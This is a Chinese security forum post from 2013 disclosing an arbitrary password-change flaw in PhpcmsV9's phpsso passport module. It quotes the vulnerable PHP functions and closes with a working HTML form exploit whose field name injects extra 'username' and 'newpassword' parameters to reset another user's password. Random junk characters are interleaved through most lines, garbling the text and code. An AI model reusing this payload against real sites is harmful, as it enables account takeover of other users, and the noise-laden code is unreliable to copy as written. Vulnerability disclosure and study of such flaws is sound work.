找回密码
 立即注册
查看: 2917|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
" b3 j4 q' j) A' }
* V* g8 @4 X5 z' m! G' y0 E: ^' K9 o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" ~! B. \) G) l) q( }4 \4 g6 R0 {0 g% C9 h0 B
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。, D2 I; ~: K) {  n; w

5 p" i# u: v% n% v我把它留给了你们。: ^& a1 |7 m* p+ D2 k2 M2 N
不知道你们发现了它没有。* `" p! ]6 \( }
' }" C) G4 i# @! }  P0 a$ k0 s
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
) R" f9 o# a, w! u8 ?
% r, z* T; K' |所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" v% Y3 u; v% s- @3 W

4 f& ?- m, p; l也就是
: Y' ]- z8 X8 c8 K+ g/ A' G% P6 |1 i  g: [7 z- Q
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
8 X3 H* `9 U2 c: ^6 }& Z7 h2 F- S2 n6 S+ M0 z$ b0 D( ^0 c( ?, K
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。5 U, h9 k1 K, q* O" h' f

7 @+ V! X2 r# Z- A5 }- f! o9 P" l1 `" _* `
其实我们有这样的机会,看看代码,如下:$ Z$ x% w) _  M; Z$ g9 c! D- z( R

( n0 K& z, W' X2 b+ ~$ d
! F* T8 {; i) A) }$ u7 Opublic function auth_data($data) {( U. N6 X& `9 c# f5 V- R: g
                $s = $sep = '';2 s( F. S2 K  I% F
                foreach($data as $k => $v) {
% E1 q/ _5 \3 K6 O1 m& n4 D                        if(is_array($v)) {
8 F- l7 C7 [2 ?, }; k$ B                                $s2 = $sep2 = '';
' g2 d6 U0 f1 ]  r9 x. ?$ X" N                                foreach($v as $k2 => $v2) {
* d' j+ G! l( Y' d                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);8 |, c3 F) x* ]. J7 I. a3 q
                                        $sep2 = '&';
6 c7 W- `) X: k; P                                }
& x/ @1 S2 E. I$ c                                $s .= $sep.$s2;2 J1 D. a( k/ y9 J
                        } else {
* g" z2 v, T6 z9 e- p# {" o                                $s .= "$sep$k=".$this->_ps_stripslashes($v);3 L8 S' A" K. K6 W$ A) |
                        }
9 e! C, |+ k3 O! N3 {; Y                        $sep = '&';1 ~/ ~/ L# z7 N6 J, Q  t
                }
" G7 g# y$ d3 D1 x! ~! u
2 {  ^  T- P+ ^$ O* c% m                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));! n/ z& H$ G2 s) T9 E
                return $auth_s;
, R9 h: R& t6 b0 c        }1 j+ j& @9 I& S- X) [: V

% v  |! @, r* H. W: L可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。* i5 d  W% b9 ^

; K& z1 K! j9 l9 {) P' g) V" [% Z举个例子+ j4 `. k/ q* v' b8 V$ {, r
& m. G  a4 P$ X; I* e6 V
$a[aaa=a&bbb] = 'a';
% o& b* S) I; }3 R: ^
" @- }7 \9 g* W* k/ q会变成aaa=a&bbb=a
! d6 S5 y0 e4 r
% ]( y1 k, ~2 ^3 ]% `( w8 n* K明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
( O' W. ^- [' q1 e
6 C6 }- X& |+ ^  E5 w这个时候,我们可以再去看一个函数。
8 b  Z3 W4 W/ }4 [+ H2 K  o, P4 c1 O1 X; u0 u# _3 z9 U
就在这个文件内:: P9 d" |7 k4 m
6 U# t. g  i. b& U# Q7 d3 o1 ~& Q

; S3 C9 ?9 B) A4 s+ u! \# ?public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) T. c3 m+ i  ^9 q9 H* c                if($email && !$this->_is_email($email)) {
& T# }4 O* h  z                        return -4;
* y6 X) ^4 T+ r                }2 |( g5 \7 l4 X
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
6 ~7 a2 m2 b7 o1 ^+ j        }
8 \/ x: A- F  [, {2 k( b/ g/ ~( ^6 ^, }& |& }8 ~
这是向通行证发了这样一个请求。
0 |1 S0 D1 H  Y( s# _0 l/ X( N" ]0 u; t: ?+ `+ z% I
我们再跟到通信证代码里去看看,就会有所发现。
- H" k9 D- s+ ?, o5 E" B' o' i& a
+ X4 a5 {: U3 K* [# C; T6 O
% _8 X% x9 U+ c' Z. J. ]public function edit() {
$ E5 ^' P0 k  |  E( S7 G! F- Z//能省就省,太长了不是吗?
) U0 {3 V# d; X" F$ w
% {  x7 Z! \" S" l/ u* xif($this->username) {
0 B/ O: |+ p) }: o9 k//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
4 \0 c2 L5 E- B! R8 \4 R9 U/ r( n8 |! s                                $res = $this->db->update($data, array('username'=>$this->username));
) x( w* H' @2 x& T. n/ y                        } else {
' T/ {" [5 i* S# P& U3 J* X4 H                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);5 M. Z5 p# Y' U
                                $res = $this->db->update($data, array('uid'=>$this->uid));
$ h* c4 Y* d: H                        }
8 i2 p8 ^0 y2 i8 L6 }, U. x3 O
, R7 r" N" ^! r- S% q4 x. B好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:1 u% U( P' w$ O

! O9 K; M' b0 w0 Wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')  G- x0 h4 R8 x+ t+ }

% [2 R$ \" }: W! g7 R* q1 J3 X很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
3 A( r' U5 M9 ], t) w
/ }' V3 V8 Y9 k% V6 r我当然找到了:3 V( O2 \% {0 O5 }
phpcms9/phpcms/modules/member/index.php
! i5 ~( }0 d2 }# R  N- @) l
7 N/ t; n/ A' g! f5 Q9 l$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
- h4 ^3 k! P" A0 L! t* M3 i  K% \, G1 Y; W/ t' ^# u7 F. D2 g
然后就没有然后了。
7 Z9 u8 j, M' p' g0 j8 S1 l& K* L$ ^' W3 \( L# k' S/ K
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 \% Q5 a3 S) x1 g                                <table width="100%" cellspacing="0" class="table_form">
5 Q8 v" Q! |/ o+ W- g                                        <tr>. m6 e( K1 v, j, P8 f
                                                <th width="80">邮箱:</th>        2 ^  S! J: [* D0 C
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
7 H7 V/ U- Y; y+ y2 _                                        </tr>: ?, R5 }7 y& j/ e
                                        <tr>
$ g0 E) T* H1 n2 k4 @; r% i9 S                                                <th width="80">原密码:</th>        ' ?, P; L7 r! H4 {  a' g
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>9 H0 l% @3 x/ |- U5 N& t
                                        </tr>& q: o/ N# U$ D8 E/ |" O4 |, R' [: {
                                        <tr>& m  w* u9 x* |9 A9 F
                                                <th>新密码:</th>  f0 X" M9 m; @* I8 Y6 o, g
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
) H0 }  z) l) M                                        </tr>% q5 y7 m- p+ t+ ]
                                        <th></th>
) {) j8 i0 R' L: O, Z                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>& U1 `6 }' P: U: F3 N  X
                                        </tr>
# p: i( S, i$ P  {                                </table>0 F* i$ E; r& J- b7 F
* n% N: E% f: [# K6 O  s
                               
  ^4 V, m. K7 N7 F                        </form>
& {: j. [8 G5 H- F: k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表